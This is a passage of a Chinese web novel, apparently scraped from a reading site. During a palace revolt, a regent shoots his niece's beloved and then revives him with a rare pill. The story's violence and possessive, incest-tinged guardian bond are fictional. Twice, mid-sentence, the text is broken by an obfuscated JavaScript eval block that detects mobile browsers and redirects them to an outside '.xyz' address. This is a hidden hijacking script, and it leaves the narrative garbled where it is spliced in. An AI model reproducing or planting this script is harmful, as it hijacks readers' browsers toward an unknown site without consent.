"灵越,现在大敌当前,咱们需团结一致才是。"几乎没有任何犹豫,李鸣岐驱马上前,压低声音与谢灵越耳语。 谢灵越淡淡垂眸,“我知道。” “辛苦王舅了。”她在马背上稍稍欠身,又向阳邑王施了一礼。 十足的礼貌,也十足的疏离。她的教养不会让她对盟友横眉以对,但她的教养亦不会让她对伤害自己亲人的人卑躬屈膝。 阳邑王视线略在谢灵越身上停留。 小姑娘的眉眼并不像长公主,毫无凌厉迫人之气,略显婴儿肥的脸型亦与长公主不同,唯有挺粗的鼻与殷红的唇有着长公主的影子,让人依稀可辨在权倾天下之前的公主模样。 那时的长公主大抵也如谢灵越这般娇俏鲜艳,是个心事全部写在脸上的明媚女郎。 但可能又不是。 长于大虞风雨飘零之际的公主无人庇护,剔去了一身的柔软,换成了吐吐逼人的硬刺,才撑起了支离破碎的九州天下,让原本有灭国之危的大虞在江东站稳眼脚,苟延残喘着,等待下一位擎天之人的降 临。 阳邑王收回视线。 “昌平和气。” 阳邑王道。 话毕他重新举起长枪,在越来越多的禁卫军的包围下再一次杀出一条血路。 如多年前他战成名的那战,阳邑王李端阳的名字响彻九霄,胡虏心惊胆战,南下灭虞的攻势被迫终止,而这一次,他的长枪对准的却是禁卫军,一支本该戌卫天子成慑百官的军卫。 长公主的担忧在她薨逝十年后终于上演。 胡虏不曾临朝,可大虞的文臣武将乃至宗亲外戚却在自相残杀,一次又一次消耗着原本可以挥师北伐还于旧都的兵力与锐气。 阳邑王长长叹了口气。 "灵越,咱们一起走!"李珏艰难挤进被亲卫们围得近乎密不透风的谢灵越身边。 谢灵越微颔首,对尚未挤进来的李鸣岐招了招手,"鸣岐,你过来。" “这些禁卫太难缠了,你当心别被他们伤到。” “我没事儿。” 手里的长剑卷了刃,李鸣岐弃了剑,夺了一把刺向他的长矛,回身挑开追杀 他的人。少年的英武让阳邑王刮目相看。 李鸣岐一边杀追兵,一边大声与谢灵越道:"灵越,你先走,被管我,我能冲出去的!" 羽林卫被削的是职权,但秩奉与甲衣却没变,仍享受着卫队中最高的俸禄与最好的盔甲。 作为牧点天子的门面,羽林卫所穿的明光铠不仅极其成风漂亮,而实用性也极强,一般的武器根本伤不了穿着明光铠的人,否则他也不可能从箭如雨下的禁卫们的追杀中逃出来。 如今他已冲出宫门,又有阳邑王的接应,如果不出意外的话,他这条命应该算是保住了。 "灵越骑射不好,劳烦世子保护好灵越。"李鸣岐对李珏大喊。 李珏嗤笑,“那你找错人了,我的骑射还不如灵越呢。” "灵越,你得多护着点我。"李珏扭头便对谢灵越道:“我那被封余踩断的腿还没好利索呢。” “……” 虎父犬子,一代不如一代。 阳邑王深深为大虞的未来感到绝望。 “知道,你跟着我走便好了。”谢灵越习以为常,只是担忧地看了一眼李鸣岐。 哪怕她知道李鸣岐身上穿的有明光铠,知晓他的骑射功夫远在众人之上,但她还是会担心。——刀剑无眼,她不敢赌。 “你们让开,让李鸣岐与我一同走。”谢灵越斟酌片刻,吩咐萧重照等人。 萧重照皱眉道:“县君,我们的任务是保护你。”"至于其他人,则与我们无关。" 阳邑王眉梢微动。 ——不太对劲。 "李鸣岐,跟本王走。" 阳邑王对李鸣岐喊道。 但是已经晚了。 自幼习武而五官极其敏锐的他清楚地听到有引/弩呼啸而过的破空声,微蓝色闪于夜幕,那是毒药涂于弩/箭之上才会有的颜色。 “当心!” 阳邑王脱口而出。 下一刻,少年从马背跌落,滚在禁卫军的长矛之下。 “李鸣岐!” 阳邑王听到谢灵越撕心裂肺的大喊。 骑射并不算好的少女竟从马背上一跃而下,疯了一般冲向被禁卫军围攻的李鸣岐。 “灵越!” “县君!” 李珏与萧重照大惊。 呼喊声此起彼伏,但并未阻止谢灵越的脚步,她持剑吃力劈砍着,近乎以命换命的方式将李鸣岐身边的禁卫军推开。 "李鸣岐!李鸣岐!"她的声音急促得很,像是绝望的小兽。 李珏大喊,“灵越,危险,快回来!” “不许伤害县君!” 萧重照纵马上前。 阳邑王长枪挥退围攻他的禁卫,亦向谢灵越疾驰而去。 或许是人在绝望之际总能迸发出无以伦比的潜力,又或许是禁卫们被她不要命的打法所惊惧,谢灵越竟挤进了被禁卫们围得水泄不通的李鸣岐身边,满是鲜血的手抱起少年的脸。 "李鸣岐,你别吓我。" 谢灵越道:“你说过你的骑射很好的,你不能死在这儿,我不许你死在这儿!” 但被她抱在怀里的人,此时已是出气多于进气。巨大的惯力穿透了羽林卫的明光铠,连带着他的五脏六腑一同击碎,大口的鲜血不断从他嘴角溢出,他能清楚感受到生命在流逝。 "灵越……" 李鸣岐艰难睁开眼。 他不想死。可这似乎由不得他做主,当死神悄无声息降临之际,任他再怎样锐不可当,也一样要按时命赴黄泉。 奔腾的马蹄声由远及近。犹如自九天而降的惊雷,裹挟着天神的震怒而至。 阳邑王皱了皱眉,立刻吩咐骑卫摆阵迎敌。 “阿越,回来!” 伴随马蹄声一同传来的,是男人极为阴鸷的声音。 阳邑王眼皮轻轻一跳,视线已看向声音传来的地方。天太黑,他看不清男人模样,只依稀看到那是一个身着玄甲的年轻男人,阴冷的月光披在甲胃之上,胸甲上饕鬓凶兽的模样格外狰狞凌厉。 阳邑王 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14806910|148360||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 无声叹了口气。——自己这个儿子一如从前,剑走偏锋,孤绝阴鸷。 “散开。” 阳邑王吩咐骑卫。 骑卫们纷纷散开,只去格挡源源不断追捕而来的禁卫们。 谢慎之顷刻间来到众人面前。 与谢灵越相比,他的骑射极好,他毫不费力下马,走到谢灵越身边,对抱着濒死少年的小姑娘伸出手,“阿越,跟九叔走,这里不安全。” 仿佛那人已必死无疑,他要做的,是带谢灵越离开。 "九叔……九叔?" 谢灵越抬头。 在看到谢慎之的那一刻,她哀伤眼眸如同在绝境之中看到了救命稻草,手指顷刻间抓住谢慎之的甲胄。 “九叔,你快救救李鸣岐!”谢灵越道:“他快死了,我不要他死!” 仿佛她的九叔无所不能。只要他愿意,他便能从阎王手里去抢人。 谢慎之面无表情。他看也不看被谢灵越抱着的人,只垂眸看着哀求他的少女。 “阿越,九叔不是神医,救不了他。”谢慎之道:"封余随时会赶过来,我们 要尽快离开。" 谢灵越慢慢睁大了眼,"不……" 李珏道:“灵越,这件事你得听九郎的,咱们必须离开。”“封余的人太多了,咱们不是他的对手——” "不!你怎么可能救不了他呢?"但他的话尚未说完,便被谢灵越打断,“你那么厉害,这个世界上没有你做不到的事情!” "九叔,我求求你,你救救他好不好?"少女的声音哀伤而绝望,“他如果死了,我也活不成了。” 谢慎之眸色蓦地幽深,"阿越!" 与他对视的眼睛却清澈无比。 那是一双极为漂亮的杏眼,娇娇俏俏,鲜活灵动,像是鞠了一把星河水,眼睛的每一处都熠熠生辉。 只是现在星水多于星光,水色聚满她眼眸,大滴大滴的眼泪睡着她的眼睛往下淌,将那原本尽是血污的脸冲刷出一道清楚的泪痕。 “九叔……” 她抱着奄奄一息的少年,又一次说道,"我求求你。" 谢慎之沉默着。 有那么一瞬间,他仿佛看到前世的阿越。那时的阿越与现在别无二致,唯一不同的是当初的她怀里抱着的人是他,她一遍一遍哀求,一声比一声更绝望—— "九叔,我求求你,求求你不要死。"“你死了,我也活不成了。” 他想说好,他不死,他长长久久地陪着她,绝不让任何人将她欺负了去。可是已经不能够,他的身体越来越冷,视线也越来越模糊,连她的面容都看不清,最后他的手无力垂下,在她衣上划出一道殷红血痕。 而她也终于崩溃,抱着他冰冷的尸首陷入长久的昏厥。 那时候的她,是真的差点没能挺过去。让她重拾活下去的希望,是因为她发现了他死得可疑,彻骨的恨意压过了绝望的哀伤,她用她的余生去做一件事——替他报仇。 她的歇斯底里让帝王陷入自我怀疑。 “谢灵越,朕的确后悔杀了大司马,但后悔的不是诛杀他,而是杀他太早!” 又一次被刺杀,帝王勃然大怒,“朕不该现在便对他动手,朕应该耐心一点,耐心等到咱们的孩子降世,耐心等到咱们的孩子都要仰他鼻息。” “到那时,你便该明白,你的九叔非死不可。”帝王疯狂道:“或许不等我开口,你便会亲自动手,诛杀这个藐视皇权的乱臣贼子!” “谢灵越,朕错了!” 帝王的声音比她更歇斯底里,“朕不该让他死在你最爱、最依赖他的时候!” 谢慎之胸口微微起伏。 “阿越,跟九叔走。” 他又一次对谢灵越伸出手。 但小姑娘却并未将手放在他掌心,她的脸色极为苍白,一点血色也无,仿佛失血过多濒临死亡的那个人是她一样。她颤抖着,后退着,眼底是即将被黑暗吞噬的深深恐惧。 "不……九叔。" 谢灵越睫毛颤抖如蝉翼,在火把的映照下近乎透明。 聪明如她,已经意识到了什么。 谢慎之眼睑彻底垂落,眸色如化不开的墨。 李珏心头一震,终于意识到眼前发生了什么。那些让他感觉不对劲的事情并非他多心,而是眼前的这个人早生异心,竟真的觊觎被自己养大的侄女。 道德伦理被他踩在脚下,世人眼光他更是不屑一顾。他甚至全然不顾灵越的感受,将灵越的心上人射杀于兵乱之中。 “谢九,你可真疯啊。” 李珏惊恐看向谢慎之。 第20章 “你,你——” 你这简直是乱/伦! 后面的话他没敢说出来,他怕谢慎之伸手掐死自己。 ——连谢灵越心上人都能肆无忌惮射杀的谢慎之此时已没有任何理智可言,与这样的人讲道理是讲不通的,他唯一能做的是与他拉开距离,省得 会儿谢慎之杀人的时候溅自己一身血。 思及此处,李珏立刻往后退,远远与与谢慎之保持安全距离。 但这个距离似乎又不安全,因为离谢慎之近一点,便能受到谢慎之亲卫的保护,如果离他远一点,便意味着自己远离谢慎之亲卫的保护圈,进入禁D攻击的范围。 他身边的亲卫与谢慎之的亲卫完全没得比。 谢慎之的亲卫能在谢慎之与谢灵越俩人对峙期间将两人保护得密不透风,而他的亲卫只会让他被禁卫的弩/箭射中,一边骂亲卫废物,一边骂禁卫歹毒。 “……” 就挺难的。 但两害相较取其轻。他觉得跟现在的谢慎之相比,禁卫的刀枪剑戟根本不是事儿! 李珏偷偷打量着不远处的谢慎之。 "阿越,跟九叔走。" 谢慎之瞳色如墨染。 青年神色如常,仍保持对谢灵越伸出手的动作。周围是刀光剑影,有鲜血溅在他的身上与掌心,带有薄茧的手指染了血,莫名有着让人不寒而栗的压迫味道。 气势如此,但他的声音却极缓,“这里不安全。” 仿佛被谢灵越抱在怀里的李鸣岐与他没有任何关系。他之所以在此停留,是因为任性执拗的谢灵越。 少女天真稚嫩不知愁,容易被哄骗,也容易走弯路。无妨,他在她身旁照看着,纵然走了弯路,他也能将崎岖小道修筑成通天大道,让她走得顺畅舒心。 可被他精心照料的玫瑰,似乎并不想在他羽翼之下绽放,她看着他黑得令人心惊的眼睛,身体不住颤抖,仿佛他给予她的不是庇护,而是禁锢。 ——她不喜欢这种禁锢。 她从来都是自由的,鲜活又任性。喜欢的东西总要弄到手,哪怕是他讨厌的,她也一意孤行。 一如她现在的反应。 “不,九叔,你不能这样对我。”她的声音近乎执拗,仿佛在努力唤醒着什么,“你答应过我阿娘的,永远不会叫旁人将我欺负了去,你不能说话不算话。” 李珏眼皮轻轻一跳。 他以为谢灵越先前说的那个不,是我不跟你走,可听到这里,才发现是你不能这样对我——不能杀了我的心上人,还装作若无其事。 这俩人都挺疯。果然疯子养不出正常人,只会养出与自己一脉相承的另一个疯子。 她或许已经察觉谢慎之对她的不正常的占有欲。 她以为那应该是自幼相依为命的亲情,但当李鸣岐倒在谢慎之的箭下,她的自欺欺人在这一刻土崩瓦解,只剩下哆嗦着说出那句九叔你不能这样对我的话。 这都是什么事儿? 果然长公主还是死早了! 如果长公主还活着,那会有这么多乱七八糟的事情? “阿越,九叔曾答应过长公主殿下,要护你一世安稳。”与谢灵越近乎崩溃的情绪相比,谢慎之可谓是极为冷静,“直至今日,不曾有半分更改。” 青年平静看着绝望的少女,染血的手指稍稍往前伸,似是要抚平她散乱的发。但此刻的她已如惊弓之鸟,他的手尚未落下,她的头便偏到一旁,极力避免着与他的肢体接触。 谢慎之的手停在空气中。 "不,你失言了,你竟然射杀我最喜欢的人!"谢灵越哭喊道:“你说话不算话,你早就把我阿娘的嘱托抛之脑后了!” 这话对于他来讲似乎是尚方宝剑。 只要她高举薨逝了的长公主的大旗,他便会在她面前一败涂地,毕竟那是一个救了他与母亲性命的女人,在他们母子两人走投无路之际给他们一条康庄大道的女人。 滴水之恩当涌泉相报。长公主待他如此,他为长公主的女儿肝脑涂地亦不为过。 可事实并非如此。 天下为棋,长公主便是那个执棋人,而他与母亲,不过是长公主手中的小小一枚棋子——换言之,如果没有长公主的从中作梗,他的母亲与父亲未必会闹到恩断义绝那一步。 一个战功赫赫的王爷如果再有一个惊才绝艳的儿子,那么天子的位置便不再稳固。 更别提天子才干极其平庸,能登上皇帝宝座,靠的是有一位好姐姐,一但这个好姐姐行将就木,他九五之尊的身份便也摇摇欲坠。 所以他与父亲走向决裂是一种必然,而父亲新娶的王妃的孩子,也必然生不下来。 在战场上战无不胜的长公主,在后宅阴私的事情上亦是一把好手,略使些手段,便能让呼声甚高的阳邑王身败名裂。 或许他真正应该恨的人是长公主,是她破坏了他原本可以勉强和睦的家庭。 可当他看着这张与长公主有几分相似的脸,看着少女虽稚嫩但与长公主如出一辙的执拗之时,那些刻骨的恨意竟只能郁结于心,终其一生不可能喷涌而出。 到底是阿越的母亲,他能苛责什么? 谢慎之垂眼看着谢灵越,僵在半空中的手并没有收回,声音比刚才更加平静,“九叔从来说话算话,不会叫任何人将你欺负了去——” “那你为什么要杀李鸣岐!” 小姑娘的情绪太激动,他的话尚未说话,她已崩溃开口,“你为什么要杀他?你救他啊!” 她突然伸手,握着他的手,如同溺水之人抓住了浮木,死死地抓着,以为那是自己的救赎。 "你把他救回来,我便当今天的事情什么都没有发生过,我们还像从前那么好。"谢灵越道:“你还是我的九叔,我还是你的阿越,我们还是相依为命的亲人,好不好?” 她在恳求。 又或者说,是另一种形式的要挟,如果今天李鸣岐死在这,那么等待他的,是她的彻底翻脸,甚至连绵不绝的恨意。 她竟如此喜欢李鸣岐。 谢慎之眼角微垂。 “阿越,一个男人罢了,也值得你与九叔这般闹?”他问谢灵越,声音不复刚才平静,带了几分嘲讽。 话音刚落,他不等谢灵越回答,便手指微曲,反握着谢灵越的手,稍稍用力,将人从腥风血雨中拽到自己身边。 迎接他的谢灵越的愤怒—— “谢慎之!” 她不再叫他九叔,而是喊了他的名字,“谁在与你闹?我要你把李鸣岐救回来!”鲜少拿刀剑的手没什么力气,却在极力将他推开。这一刻他不再是庇护她的港湾,而是带给她无穷尽的风雨。 她疯了一般去挣脱他的手,“谢慎之,你松开我!” 那点力气几乎可以忽略不计,所以他确实忽略了,只当什么都没有看到,他握着她手腕,将她扯到自己的战马前,另一只手揽起她的腰,把她放在自己的马背上,随后他长腿跨,跟着上马。战马嘶鸣不止。 而被他按在自己面前的谢灵越,此时也挣扎得越发剧烈,她甚至以手肘去撞他,试图从他的禁锢中逃离。——在李鸣岐命悬一线之际,她或许已经忘了被她撞的位置前几日曾为她挡过一支弩/箭。 痛感席卷而来,谢慎之闷哼一声,手上的动作不再像刚才那般强势。被他扯着的少女寻到机会,立刻从他马背上跳下去。她逃跑的动作太仓促也太没有章法,以至于她落地的时候被裙甲绊了一些,险些在地上摔倒,但她全然顾不得这些,她跌跌撞撞向李鸣岐跑去,仿佛那是她的一切。 “李鸣岐!李鸣岐!” 她抱起奄奄一息的少年,声音破碎不堪。谢慎之面沉如水。周围人心生不忍。 谁能眼睁睁地看着自己的心上人死在自己面前?——尤其是自己情窦初开之际喜欢的第一个人。 那人是初升的太阳,是星河里的月亮。是自己青涩年华里最纯真也最赤诚的一段过往,百炼钢也要化成绕指柔的刻骨铭心。 "九郎,要不,咱们再等一会儿?"李珏挠了挠头,试探开口,“好歹让灵越看着李鸣岐咽气不是?” “你闭嘴!” 他的话差点让谢灵越大哭出声,“你咽气他都不会咽气!”意识到自己说错了话,李珏心虚道:"我这不是劝你九叔么?" 阳邑王叹了口气,“瑾儿,此事你莫要强迫昌平。”“你此时带她离开,便是叫她恨你一辈子。” 谢慎之面无表情。 他静静看着谢灵越,看哪怕穿着薄甲也稍显的瘦弱的小姑娘吃力抱着李鸣岐,一遍一遍唤着他的名字。少年毫无意识,一点反应也无,于是她哭得更大声,像是失去父母庇佑不知所措的小兽,哀伤绝望着,不知道自己该做什么。 但毕竟是他养大的人,骨子里的性格与她相似,她又抱着李鸣岐哭了一会儿,而后便慢慢止住了哭,唤来自己的战马。 他给她挑选的战马极为温顺,在她的指令下四蹄跪地,将马背压得极低。她便拖着毫无声息的李鸣岐,艰难往马背上挪动着,仿佛终于接受现实,明白他必死无疑,所以带着他离开这个喧闹之地。 可她只是一个手无缚鸡之力的小姑娘,根本搬不动李鸣岐高大的身体,她累得气喘吁吁,却没有再与往常一样去寻求他的帮助。 ——她甚至连看都没有看他一眼。 谢慎之的心彻底沉了下去。 李珏慌忙下马。 阳邑王皱了皱眉,亦下马去帮谢灵越。 “昌平,节哀。” 阳邑王淡声道。 谢灵越身体明显一僵。 阳邑王长长叹气。 有了李珏与阳邑王的帮助,谢灵越终于把李鸣岐送上马背。战马摇摇晃晃站起来,她也扶着李珏的手爬上马背,把李鸣岐固定在自己身边。 “多谢。” 谢灵越对李珏与阳邑道。 李珏道:“瞎,这有什么?” 偷偷瞧一眼谢慎之的脸色,男人的脸色此时已不能称之为脸色,更像是一团化不开的墨,黑得吓人。李珏缩了缩脖子,不由得多问了一句,“灵越,你要带他去哪?”谢灵越抿了抿唇,没有回答。 "现在华林园乱得很,你别乱跑。"李珏担忧道:“你去哪?我跟着你一起走,咱们两个好歹有个照顾。” 谢灵越调转马 头。 “你不用跟着我。” 她道:"我要去自己该去的地方。" 她的马术并不好,载人同骑更显狼狈,可尽管如此,她还是驱动战马,头也不回奔向浓密弥漫的西边方向。 “你往西边走做什么?”李珏在她身后大喊,“西边什么都没有,只有供咱们上香祈福的三清观。” “三清观?”阳邑王眼皮轻轻一跳,视线不由自主落在谢慎之身上。 三清观的清玄道长与长公主关系极好。清玄道长乃得道之人,曾练出能让人起死回生的丹药,并将丹药送给了长 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14806911|148360||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 公主。 可惜这种丹药一人一生只能吃一次,第二次服用,便与寻常药丸没什么区别,再无起死回生的功效。 长公主年少之际险些力战而亡,是靠着清玄道长的丹药才活了下来。后来她薨逝之际,便将剩下的两枚丹药送给谢灵越与谢慎之,让他们在面对未来的明枪暗箭时不至于一病而亡。 这本是市井流言,极不可信,但他却知道,事实的确如此。早年谢慎之被人暗害,亲卫们带着奄奄一息的谢慎之求到他面前,他束手无策,是年幼的谢灵越取药救了谢慎之的性命。 换言之,谢灵越之所以那么笃定谢慎之能救李鸣岐,也是因为这个缘故。——她的药给了谢慎之,那么谢慎之的药,又为什么不能送给她,让她去救李鸣岐呢? 一命换一命。 谢慎之欠她一条命,合该帮她救李鸣岐。 可谢慎之并不想救她的心上人。 更确切地说,谢慎之对李鸣岐有一种难以名状的恨意,哪怕谢灵越会恨他入骨,他也要射杀这个不值一提的羽林卫。 何苦来哉? 阳邑王想劝几句自己这个越发孤僻乖戾的儿子,可话未开口,又想起自己并无资格对他指指点点,便只好叹了口气,复又提起长枪,对谢慎之道:“你们先走,我断后。” 回答他的是急促的马蹄声。冰冷的玄甲将浓雾切割,猩红色披风在夜幕中卷起血一般的红浪,转瞬之间,便消失在刀光剑影之中。 阳邑王眉梢微挑。 ——骑术不错,应该很快便能追上昌平。 事实上,谢慎之也的确不费吹灰之力便追上了谢灵越。他控缰勒马,钉着铁掌的马蹄在空中翻腾不止,于清冷月色下划出一道寒芒。 气势逼人的权臣尚未走到权力的顶峰,便已有了让人不寒而栗的威势。跟在谢灵越身后的李珏下意识便想躲。谢灵越却丝毫不惧他,迎面抬头看着他,眼底没有一丝温度。 "谢慎之,你又想做什么?" 谢灵越道。 谢慎之没有答话,只在她面前下马。 两人距离极近,他下马,谢灵越便想纵马与他拉开距离。但尚未来得及起步,便被他抬手扯住了马缰,随后他拽住李鸣岐的甲胃,毫不费力地将半死不活的少年从马背上扯下来。 “你做什么?!” 谢灵越大惊。 谢慎之仍是不答话。 谢灵越慌忙下马,去抢谢慎之手里的李鸣岐。 但这个时候的男人比以往更可怕,哪怕巧变如李珏也觉察出不对劲来,谢灵越前脚下马,他后脚便落地,死死拽着谢灵越的胳膊,不让谢灵越上前。 ——他丝毫不怀疑,如果谢灵越这个时候再凑上去,谢慎之绝对会把李鸣岐碎尸万段。 “灵越,别冲动。” 李珏说出来的话自己都不信,“谢九、谢九或许是想救李鸣岐呢?” 可谢慎之的动作完全不像救。 他把李鸣岐摔在地上,微俯身,手指捏住那支他射/在李鸣岐胸膛的弩/箭,随手一拔,带着皮肉与鲜血的弩/箭便被他拔了出来。 鲜血溅了他一脸,甚至将他眼睑处都蒙上了一层红,但他的眼睛却连眨都不曾眨,只将弩/箭丢在一边。 待丢了毒/箭,他便抬脚踩在李鸣岐的胸口处。那里早已血肉模糊,令人不忍细看,他以战靴踩上,就当止了血。 随手他微抬手,从自己脖颈处扯下一条有些褪色的红绳。 红绳末端缀着一枚雕弓算不得好的胖嘟嘟的白玉花生。 但因为时间久,又时常被拿在手里把玩,竟让质地与雕弓都极其粗糙的白玉花生泛着一股极细腻的温润之气,水盈盈的,仿佛是聚了一捧月光。 谢灵越微微一愣。 ——这枚白玉花生好生熟悉。 谢慎之扭开花生顶端。 白玉花生被打开,里面安静躺着一枚指甲盖大小的浅金色的丹药。谢灵越瞳孔微微放大。谢慎之拿起丹药,塞到李鸣岐嘴里。少年伤得太重,已不会吞咽。谢慎之便抬手卸了少年下巴,又反手给人装上去,以极其粗暴的方式让人把丹药吞下。 李珏看得一震头皮发麻。——这不像是在救人,更像是恨不得将人挫骨扬灰。 喂完药,亲卫递来锦帕与水壶。谢慎之接过锦帕,顺着水壶里倒出来的水,清洗着被自己手上鲜血染红的白玉花生。 白玉花生并不名贵,但他洗得却极为用心。仿佛那不是一块劣质的玉器,而是年少之际别人捧给他的一颗心。 清洗完玉器上的血迹 ,他重新用红绳穿上,带回自己脖颈。 “阿越,你让我救人,我救了。”他抬头看谢灵越,“如此,你可——” 满意? 他本该说你是否满意,言语之间是责问,可当他看到谢灵越脸上的泪痕时,那本就不多的责问顷刻间便烟消云散,只剩下长久的沉默与浓浓的无可奈何。 不该这样的,他想。她才多大?不过是一个尚未长大的小姑娘,他不该逼她做选择。 她什么都没做错,她只是喜欢了一个人罢了。 喜欢人不犯法,喜欢一个注定会伤害她的人也并非她的错。错的那个人是他,他错在前世掉以轻心,错在今生剑走偏锋,竟将她逼到这种境地。 “你可愿意与九叔回家?”半息后,谢慎之改口,温和问谢灵越道。 那是他以心血浇灌的玫瑰,怎舍得让她受丁点委屈? 第21章 谢灵越睫毛轻轻一颤,有一瞬的愣神。 震怒终究被懊悔压过,立在她面前的,仍是那个无底线包容她的九叔。无底线到她几乎以为自己的眼睛与耳朵都出了毛病,所以才会看到恨不得将李鸣岐剥皮食肉的九叔竟在她面前救下李鸣岐。 可事实就是如此,九叔还是那个九叔,只要她开口,天边的月亮也会被他摘下来送给她的九叔。——所以他愿意救李鸣岐。 哪怕他恨李鸣岐入骨,哪怕救李鸣岐的代价大到让他无法接受。但那是她想救的人,是她所喜欢的心上人,她开了口,他便能压下心头所有的恨意的怒火,倾尽所有去救一个他想碾死的蝼蚁。 谢灵越道:“你拿什么救的李鸣岐?”"是阿娘给你的丹药?是不是?" "那是阿娘留给你保命的东西!" 她急了,“你怎么——” 话未终,视线撞进谢慎之墨色眼眸。 青年眉目联丽而凌厉,是一把削铁如泥的绝世神兵,可在垂眸看向她2的时候眉眼之间的凌厉之气却尽数消散,那些对外人的阴毒乖戾,他从不曾落在她身上分毫。 他是她九叔。是她相依为命的至亲,更是虽有些不择手段,却实实在在将她放在心尖尖上的人。 谢灵越的声音戛然而止。 “是。” 她看到谢慎之在她的注视下点头。 未说完的话再也说不出来。谢灵越心口仿佛压了一块巨石,让她有些喘不过气。 "不行……这样不行。"她终于意识到自己究竟做什么怎样的蠢事,有些语无伦次。 心中的天平在这一刻失衡。 又或者说,她心中本无天平,不过情壶初开,所以有些上头,才会误以为李鸣歧是自己心里最在乎的人,可当真的到了紧要关头,她残存的理智会夺回对身体的控制,让她明白自己看重的究竟是哪个 ——是九叔。 从始至终,九叔才是她心里最重要的人。 "九叔,对不起……" 谢灵越手足无措,“我错了。” 谢慎之笑了起来。 男人生了一张好皮囊,凤目薄唇,挺直的鼻梁如刀刃,过分的凌厉中和了眉眼之间的艳丽,让那双原本多情潋滟的眉眼平添几分望而生畏。 极少有人敢直视他的眼。 谢灵越显然是个例外,她望着他的眼,里面清楚地映着她的脸,稚气的,青涩的,横冲直撞的,像是永不妥协的小兽,哪怕被困在陷阱里,也会由着自己的一腔执拗撞得头破血流。 他无疑是心疼她的执拗的。又或者说,他欣赏着她的宁折不弯,欣赏着她被尔虞我诈的世界打磨的热血。 那是最顶级的权势才能滋养出来的鲜艳,永不妥协的少女天色。——他养出来的。 她是他最得意的作品,身上满是他的痕迹。 "阿越,不哭。" 谢慎之莞尔。 他又伸出手,去拢谢灵越的发。这一次,谢灵越没有拒绝,任由他的手落在她发间。 方才一路纵马疾驰,她的发已有些散乱。他便拢起那些发,让它们尽量乖顺起来,一如彼时在他面前一言不发的谢灵越。 "既是你想救的人,那便算不得浪费。"谢慎之声音缓缓,“钱财福禄皆身外之物,不必放在心上。” 一如多年前,她幼年丧母,他亦是这般哄着她。 他其实很不会说话,更不会安慰人,翻来覆去不过几句莫哭了,以后九叔护着你,可就是这样干巴巴的话,却让嚎啕大哭的她慢慢平静下来,如同终于找到家的小兽,窝在他怀里沉沉睡去。 现在与多年前别无二致。她还是那个爱哭的小女孩儿,只是这一次哭的不是阿娘,而是李鸣岐。 “都过去了。” 谢慎之道:"不哭了。" 但这一次的安抚效果极差,不仅没有让她平静下来,反而让她哭得更汹涌,她哭得上气不接下气,仿佛是鸟类在濒死之际的哀鸣。 “对不起。” 谢灵越不断重复着,“九叔,对不起。” 谢慎之叹了口气。 战靴从李鸣岐胸口处离开。他饶过该死的男人的身体,走到谢灵越面前,不再让那碍眼的东西横在他与谢灵越之间。 离得近了,谢灵越的脸更清楚地出现在他眼前。那是一张哭花了的小脸,眼睛红红,鼻子也红红,整个人像是刚刚名师大家雕琢好却碎了一地的玉器,精致而破碎。 谢慎之皱了皱眉。 亲卫递来一方锦帕。 谢慎之接过锦帕,轻轻擦拭着谢灵越脸上的泪花。 “哭什么?” 谢慎之道:“九叔从不怪你。”与其说他前世死在李鸣岐手里,倒不如说他死在谢灵越手里。 一手遮天的权臣怎会轻易被人算计了去?是有心算无心,而那无心之人又是他的软肋,才会叫他命丧黄泉。 可尽管如此,他却从未怪过谢灵越。 她从不是被世家规矩约束着长大的人。没有那么多的一板一眼,更不会压制天性,把自己装进女容女德的囚笼里,委屈着自己,去搏一个世俗上的好名声。 她只是一个 被骄纵得有些任性的小姑娘罢了。做事全凭自己的喜好与心情,而不是汲汲营营,把自己变得不像自己。 在遍布阴谋算计的金陵城,她鲜活得仿佛是另外一个世界的人。谢慎之垂眼看着谢灵越,像是看到自己期许的却永远不可能触及的另一种人生。 多么灿烂,多么明媚。如清晨从云层跃出的金乌,耀眼得让人无法直视。 谢慎之伸出手,想把金乌之光鞠在自己的掌心。 可手指再次摊开时,忽而想起小姑娘仍在生他的气。气头上的她没什么理智可言,方才还在极力避免与他的肢体接触,仿佛他是瘟疫恶鬼,稍微碰触,便能让人肌肤生疮全身溃烂而亡。 他便只好又缩回手,只以帕子擦着她脸上的泪。 他足够强大,功名利禄于他不过探囊取物。唯一能破坏他计划,让他不能胸有成竹的,是她。 人在自己的软肋面前总是要妥协的,他亦不能免俗。 “不哭了。” 谢慎之道:“你想做什么,便做什么,九叔都依你。”谢灵越突然开始迷茫。 她想做什么呢?她想救李鸣岐,她想和李鸣岐在一起,还想让九叔别那么讨厌李鸣岐,他们一起安安稳稳过日子。 她的愿望似乎已全部达成。九叔还是那个九叔,永远拗不过她的九叔,极力压抑着自己对李鸣岐的厌恶,以不可估量的代价救下她想救的李鸣岐,让她去做她想做的任何事情。 一切都如她所愿,可她为什么没有愿望得偿的欣喜若狂? 谢灵越怔怔看着谢慎之。——这似乎并不是她想要的结果。 谢慎之以为她还在为李鸣岐的事情烦闷。眉头微不可查地蹙了一下,战靴从李鸣岐胸口处移开。 “他已服下丹药,静养一段时间便能痊愈。”谢慎之道:“你不必太过担心。” 谢灵越这才回神,“多谢九叔。” 谢慎之眼皮微抬。 ——这声道谢过于生分。 "灵越,你太客气了。" 